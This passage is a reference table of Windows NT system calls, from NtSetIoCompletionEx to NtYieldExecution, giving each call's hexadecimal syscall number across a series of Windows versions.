438 437 NtSetIoCompletionEx 0x0186 0x0189 0x018f 0x0195 0x0198 0x019a 0x019b 0x019c 0x019c 0x01a2 0x01a2 0x01a2 0x01a4 0x01a4 0x01aa 0x01ad 0x01b1 0x01b1 0x01b3 0x01b4 0x01b4
439 438 NtSetLdtEntries 0x0187 0x018a 0x0190 0x0196 0x0199 0x019b 0x019c 0x019d 0x019d 0x01a3 0x01a3 0x01a3 0x01a5 0x01a5 0x01ab 0x01ae 0x01b2 0x01b2 0x01b4 0x01b5 0x01b5
440 439 NtSetLowEventPair 0x0188 0x018b 0x0191 0x0197 0x019a 0x019c 0x019d 0x019e 0x019e 0x01a4 0x01a4 0x01a4 0x01a6 0x01a6 0x01ac 0x01af 0x01b3 0x01b3 0x01b5 0x01b6 0x01b6
441 440 NtSetLowWaitHighEventPair 0x0189 0x018c 0x0192 0x0198 0x019b 0x019d 0x019e 0x019f 0x019f 0x01a5 0x01a5 0x01a5 0x01a7 0x01a7 0x01ad 0x01b0 0x01b4 0x01b4 0x01b6 0x01b7 0x01b7
442 441 NtSetQuotaInformationFile 0x018a 0x018d 0x0193 0x0199 0x019c 0x019e 0x019f 0x01a0 0x01a0 0x01a6 0x01a6 0x01a6 0x01a8 0x01a8 0x01ae 0x01b1 0x01b5 0x01b5 0x01b7 0x01b8 0x01b8
443 442 NtSetSecurityObject 0x018b 0x018e 0x0194 0x019a 0x019d 0x019f 0x01a0 0x01a1 0x01a1 0x01a7 0x01a7 0x01a7 0x01a9 0x01a9 0x01af 0x01b2 0x01b6 0x01b6 0x01b8 0x01b9 0x01b9
444 443 NtSetSystemEnvironmentValue 0x018c 0x018f 0x0195 0x019b 0x019e 0x01a0 0x01a1 0x01a2 0x01a2 0x01a8 0x01a8 0x01a8 0x01aa 0x01aa 0x01b0 0x01b3 0x01b7 0x01b7 0x01b9 0x01ba 0x01ba
445 444 NtSetSystemEnvironmentValueEx 0x018d 0x0190 0x0196 0x019c 0x019f 0x01a1 0x01a2 0x01a3 0x01a3 0x01a9 0x01a9 0x01a9 0x01ab 0x01ab 0x01b1 0x01b4 0x01b8 0x01b8 0x01ba 0x01bb 0x01bb
446 445 NtSetSystemInformation 0x018e 0x0191 0x0197 0x019d 0x01a0 0x01a2 0x01a3 0x01a4 0x01a4 0x01aa 0x01aa 0x01aa 0x01ac 0x01ac 0x01b2 0x01b5 0x01b9 0x01b9 0x01bb 0x01bc 0x01bc
447 446 NtSetSystemPowerState 0x018f 0x0192 0x0198 0x019e 0x01a1 0x01a3 0x01a4 0x01a5 0x01a5 0x01ab 0x01ab 0x01ab 0x01ad 0x01ad 0x01b3 0x01b6 0x01ba 0x01ba 0x01bc 0x01bd 0x01bd
448 447 NtSetSystemTime 0x0190 0x0193 0x0199 0x019f 0x01a2 0x01a4 0x01a5 0x01a6 0x01a6 0x01ac 0x01ac 0x01ac 0x01ae 0x01ae 0x01b4 0x01b7 0x01bb 0x01bb 0x01bd 0x01be 0x01be
449 448 NtSetThreadExecutionState 0x0191 0x0194 0x019a 0x01a0 0x01a3 0x01a5 0x01a6 0x01a7 0x01a7 0x01ad 0x01ad 0x01ad 0x01af 0x01af 0x01b5 0x01b8 0x01bc 0x01bc 0x01be 0x01bf 0x01bf
450 449 NtSetTimer 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062 0x0062
451 450 NtSetTimer2 0x0192 0x0195 0x019b 0x01a1 0x01a4 0x01a6 0x01a7 0x01a8 0x01a8 0x01ae 0x01ae 0x01ae 0x01b0 0x01b0 0x01b6 0x01b9 0x01bd 0x01bd 0x01bf 0x01c0 0x01c0
452 451 NtSetTimerEx 0x0193 0x0196 0x019c 0x01a2 0x01a5 0x01a7 0x01a8 0x01a9 0x01a9 0x01af 0x01af 0x01af 0x01b1 0x01b1 0x01b7 0x01ba 0x01be 0x01be 0x01c0 0x01c1 0x01c1
453 452 NtSetTimerResolution 0x0194 0x0197 0x019d 0x01a3 0x01a6 0x01a8 0x01a9 0x01aa 0x01aa 0x01b0 0x01b0 0x01b0 0x01b2 0x01b2 0x01b8 0x01bb 0x01bf 0x01bf 0x01c1 0x01c2 0x01c2
454 453 NtSetUuidSeed 0x0195 0x0198 0x019e 0x01a4 0x01a7 0x01a9 0x01aa 0x01ab 0x01ab 0x01b1 0x01b1 0x01b1 0x01b3 0x01b3 0x01b9 0x01bc 0x01c0 0x01c0 0x01c2 0x01c3 0x01c3
455 454 NtSetValueKey 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060 0x0060
456 455 NtSetVolumeInformationFile 0x0196 0x0199 0x019f 0x01a5 0x01a8 0x01aa 0x01ab 0x01ac 0x01ac 0x01b2 0x01b2 0x01b2 0x01b4 0x01b4 0x01ba 0x01bd 0x01c1 0x01c1 0x01c3 0x01c4 0x01c4
457 456 NtSetWnfProcessNotificationEvent 0x0197 0x019a 0x01a0 0x01a6 0x01a9 0x01ab 0x01ac 0x01ad 0x01ad 0x01b3 0x01b3 0x01b3 0x01b5 0x01b5 0x01bb 0x01be 0x01c2 0x01c2 0x01c4 0x01c5 0x01c5
458 457 NtShutdownSystem 0x0198 0x019b 0x01a1 0x01a7 0x01aa 0x01ac 0x01ad 0x01ae 0x01ae 0x01b4 0x01b4 0x01b4 0x01b6 0x01b6 0x01bc 0x01bf 0x01c3 0x01c3 0x01c5 0x01c6 0x01c6
459 458 NtShutdownWorkerFactory 0x0199 0x019c 0x01a2 0x01a8 0x01ab 0x01ad 0x01ae 0x01af 0x01af 0x01b5 0x01b5 0x01b5 0x01b7 0x01b7 0x01bd 0x01c0 0x01c4 0x01c4 0x01c6 0x01c7 0x01c7
460 459 NtSignalAndWaitForSingleObject 0x019a 0x019d 0x01a3 0x01a9 0x01ac 0x01ae 0x01af 0x01b0 0x01b0 0x01b6 0x01b6 0x01b6 0x01b8 0x01b8 0x01be 0x01c1 0x01c5 0x01c5 0x01c7 0x01c8 0x01c8
461 460 NtSinglePhaseReject 0x019b 0x019e 0x01a4 0x01aa 0x01ad 0x01af 0x01b0 0x01b1 0x01b1 0x01b7 0x01b7 0x01b7 0x01b9 0x01b9 0x01bf 0x01c2 0x01c6 0x01c6 0x01c8 0x01c9 0x01c9
462 461 NtStartProfile 0x019c 0x019f 0x01a5 0x01ab 0x01ae 0x01b0 0x01b1 0x01b2 0x01b2 0x01b8 0x01b8 0x01b8 0x01ba 0x01ba 0x01c0 0x01c3 0x01c7 0x01c7 0x01c9 0x01ca 0x01ca
463 462 NtStartTm
464 463 NtStopProfile 0x019d 0x01a0 0x01a6 0x01ac 0x01af 0x01b1 0x01b2 0x01b3 0x01b3 0x01b9 0x01b9 0x01b9 0x01bb 0x01bb 0x01c1 0x01c4 0x01c8 0x01c8 0x01ca 0x01cb 0x01cb
465 464 NtSubmitIoRing 0x01c5 0x01c9 0x01c9 0x01cb 0x01cc 0x01cc
466 465 NtSubscribeWnfStateChange 0x019e 0x01a1 0x01a7 0x01ad 0x01b0 0x01b2 0x01b3 0x01b4 0x01b4 0x01ba 0x01ba 0x01ba 0x01bc 0x01bc 0x01c2 0x01c6 0x01ca 0x01ca 0x01cc 0x01cd 0x01cd
467 466 NtSuspendProcess 0x019f 0x01a2 0x01a8 0x01ae 0x01b1 0x01b3 0x01b4 0x01b5 0x01b5 0x01bb 0x01bb 0x01bb 0x01bd 0x01bd 0x01c3 0x01c7 0x01cb 0x01cb 0x01cd 0x01ce 0x01ce
468 467 NtSuspendThread 0x01a0 0x01a3 0x01a9 0x01af 0x01b2 0x01b4 0x01b5 0x01b6 0x01b6 0x01bc 0x01bc 0x01bc 0x01be 0x01be 0x01c4 0x01c8 0x01cc 0x01cc 0x01ce 0x01cf 0x01cf
469 468 NtSystemDebugControl 0x01a1 0x01a4 0x01aa 0x01b0 0x01b3 0x01b5 0x01b6 0x01b7 0x01b7 0x01bd 0x01bd 0x01bd 0x01bf 0x01bf 0x01c5 0x01c9 0x01cd 0x01cd 0x01cf 0x01d0 0x01d0
470 469 NtTerminateEnclave 0x01b4 0x01b6 0x01b7 0x01b8 0x01b8 0x01be 0x01be 0x01be 0x01c0 0x01c0 0x01c6 0x01ca 0x01ce 0x01ce 0x01d0 0x01d1 0x01d1
471 470 NtTerminateJobObject 0x01a2 0x01a5 0x01ab 0x01b1 0x01b5 0x01b7 0x01b8 0x01b9 0x01b9 0x01bf 0x01bf 0x01bf 0x01c1 0x01c1 0x01c7 0x01cb 0x01cf 0x01cf 0x01d1 0x01d2 0x01d2
472 471 NtTerminateProcess 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c 0x002c
473 472 NtTerminateThread 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053 0x0053
474 473 NtTestAlert 0x01a3 0x01a6 0x01ac 0x01b2 0x01b6 0x01b8 0x01b9 0x01ba 0x01ba 0x01c0 0x01c0 0x01c0 0x01c2 0x01c2 0x01c8 0x01cc 0x01d0 0x01d0 0x01d2 0x01d3 0x01d3
475 474 NtThawRegistry 0x01a4 0x01a7 0x01ad 0x01b3 0x01b7 0x01b9 0x01ba 0x01bb 0x01bb 0x01c1 0x01c1 0x01c1 0x01c3 0x01c3 0x01c9 0x01cd 0x01d1 0x01d1 0x01d3 0x01d4 0x01d4
476 475 NtThawTransactions 0x01a5 0x01a8 0x01ae 0x01b4 0x01b8 0x01ba 0x01bb 0x01bc 0x01bc 0x01c2 0x01c2 0x01c2 0x01c4 0x01c4 0x01ca 0x01ce 0x01d2 0x01d2 0x01d4 0x01d5 0x01d5
477 476 NtTraceControl 0x01a6 0x01a9 0x01af 0x01b5 0x01b9 0x01bb 0x01bc 0x01bd 0x01bd 0x01c3 0x01c3 0x01c3 0x01c5 0x01c5 0x01cb 0x01cf 0x01d3 0x01d3 0x01d5 0x01d6 0x01d6
478 477 NtTraceEvent 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e 0x005e
479 478 NtTranslateFilePath 0x01a7 0x01aa 0x01b0 0x01b6 0x01ba 0x01bc 0x01bd 0x01be 0x01be 0x01c4 0x01c4 0x01c4 0x01c6 0x01c6 0x01cc 0x01d0 0x01d4 0x01d4 0x01d6 0x01d7 0x01d7
480 479 NtUmsThreadYield 0x01a8 0x01ab 0x01b1 0x01b7 0x01bb 0x01bd 0x01be 0x01bf 0x01bf 0x01c5 0x01c5 0x01c5 0x01c7 0x01c7 0x01cd 0x01d1 0x01d5 0x01d5 0x01d7 0x01d8 0x01d8
481 480 NtUnloadDriver 0x01a9 0x01ac 0x01b2 0x01b8 0x01bc 0x01be 0x01bf 0x01c0 0x01c0 0x01c6 0x01c6 0x01c6 0x01c8 0x01c8 0x01ce 0x01d2 0x01d6 0x01d6 0x01d8 0x01d9 0x01d9
482 481 NtUnloadKey 0x01aa 0x01ad 0x01b3 0x01b9 0x01bd 0x01bf 0x01c0 0x01c1 0x01c1 0x01c7 0x01c7 0x01c7 0x01c9 0x01c9 0x01cf 0x01d3 0x01d7 0x01d7 0x01d9 0x01da 0x01da
483 482 NtUnloadKey2 0x01ab 0x01ae 0x01b4 0x01ba 0x01be 0x01c0 0x01c1 0x01c2 0x01c2 0x01c8 0x01c8 0x01c8 0x01ca 0x01ca 0x01d0 0x01d4 0x01d8 0x01d8 0x01da 0x01db 0x01db
484 483 NtUnloadKeyEx 0x01ac 0x01af 0x01b5 0x01bb 0x01bf 0x01c1 0x01c2 0x01c3 0x01c3 0x01c9 0x01c9 0x01c9 0x01cb 0x01cb 0x01d1 0x01d5 0x01d9 0x01d9 0x01db 0x01dc 0x01dc
485 484 NtUnlockFile 0x01ad 0x01b0 0x01b6 0x01bc 0x01c0 0x01c2 0x01c3 0x01c4 0x01c4 0x01ca 0x01ca 0x01ca 0x01cc 0x01cc 0x01d2 0x01d6 0x01da 0x01da 0x01dc 0x01dd 0x01dd
486 485 NtUnlockVirtualMemory 0x01ae 0x01b1 0x01b7 0x01bd 0x01c1 0x01c3 0x01c4 0x01c5 0x01c5 0x01cb 0x01cb 0x01cb 0x01cd 0x01cd 0x01d3 0x01d7 0x01db 0x01db 0x01dd 0x01de 0x01de
487 486 NtUnmapViewOfSection 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a 0x002a
488 487 NtUnmapViewOfSectionEx 0x01af 0x01b2 0x01b8 0x01be 0x01c2 0x01c4 0x01c5 0x01c6 0x01c6 0x01cc 0x01cc 0x01cc 0x01ce 0x01ce 0x01d4 0x01d8 0x01dc 0x01dc 0x01de 0x01df 0x01df
489 488 NtUnsubscribeWnfStateChange 0x01b0 0x01b3 0x01b9 0x01bf 0x01c3 0x01c5 0x01c6 0x01c7 0x01c7 0x01cd 0x01cd 0x01cd 0x01cf 0x01cf 0x01d5 0x01d9 0x01dd 0x01dd 0x01df 0x01e0 0x01e0
490 489 NtUpdateWnfStateData 0x01b1 0x01b4 0x01ba 0x01c0 0x01c4 0x01c6 0x01c7 0x01c8 0x01c8 0x01ce 0x01ce 0x01ce 0x01d0 0x01d0 0x01d6 0x01da 0x01de 0x01de 0x01e0 0x01e1 0x01e1
491 490 NtVdmControl 0x01b2 0x01b5 0x01bb 0x01c1 0x01c5 0x01c7 0x01c8 0x01c9 0x01c9 0x01cf 0x01cf 0x01cf 0x01d1 0x01d1 0x01d7 0x01db 0x01df 0x01df 0x01e1 0x01e2 0x01e2
492 491 NtWaitForAlertByThreadId 0x01b3 0x01b6 0x01bc 0x01c2 0x01c6 0x01c8 0x01c9 0x01ca 0x01ca 0x01d0 0x01d0 0x01d0 0x01d2 0x01d2 0x01d8 0x01dc 0x01e0 0x01e0 0x01e2 0x01e3 0x01e3
493 492 NtWaitForDebugEvent 0x01b4 0x01b7 0x01bd 0x01c3 0x01c7 0x01c9 0x01ca 0x01cb 0x01cb 0x01d1 0x01d1 0x01d1 0x01d3 0x01d3 0x01d9 0x01dd 0x01e1 0x01e1 0x01e3 0x01e4 0x01e4
494 493 NtWaitForKeyedEvent 0x01b5 0x01b8 0x01be 0x01c4 0x01c8 0x01ca 0x01cb 0x01cc 0x01cc 0x01d2 0x01d2 0x01d2 0x01d4 0x01d4 0x01da 0x01de 0x01e2 0x01e2 0x01e4 0x01e5 0x01e5
495 494 NtWaitForMultipleObjects 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b 0x005b
496 495 NtWaitForMultipleObjects32 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a 0x001a
497 496 NtWaitForSingleObject 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004 0x0004
498 497 NtWaitForWnfNotifications
499 498 NtWaitForWorkViaWorkerFactory 0x01b6 0x01b9 0x01bf 0x01c5 0x01c9 0x01cb 0x01cc 0x01cd 0x01cd 0x01d3 0x01d3 0x01d3 0x01d5 0x01d5 0x01db 0x01df 0x01e3 0x01e3 0x01e5 0x01e6 0x01e6
500 499 NtWaitHighEventPair 0x01b7 0x01ba 0x01c0 0x01c6 0x01ca 0x01cc 0x01cd 0x01ce 0x01ce 0x01d4 0x01d4 0x01d4 0x01d6 0x01d6 0x01dc 0x01e0 0x01e4 0x01e4 0x01e6 0x01e7 0x01e7
501 500 NtWaitLowEventPair 0x01b8 0x01bb 0x01c1 0x01c7 0x01cb 0x01cd 0x01ce 0x01cf 0x01cf 0x01d5 0x01d5 0x01d5 0x01d8 0x01d8 0x01dd 0x01e1 0x01e5 0x01e5 0x01e7 0x01e8 0x01e8
502 501 NtWorkerFactoryWorkerReady 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001 0x0001
503 502 NtWriteFile 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008 0x0008
504 503 NtWriteFileGather 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b 0x001b
505 504 NtWriteRequestData 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057 0x0057
506 505 NtWriteVirtualMemory 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a 0x003a
507 506 NtYieldExecution 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046 0x0046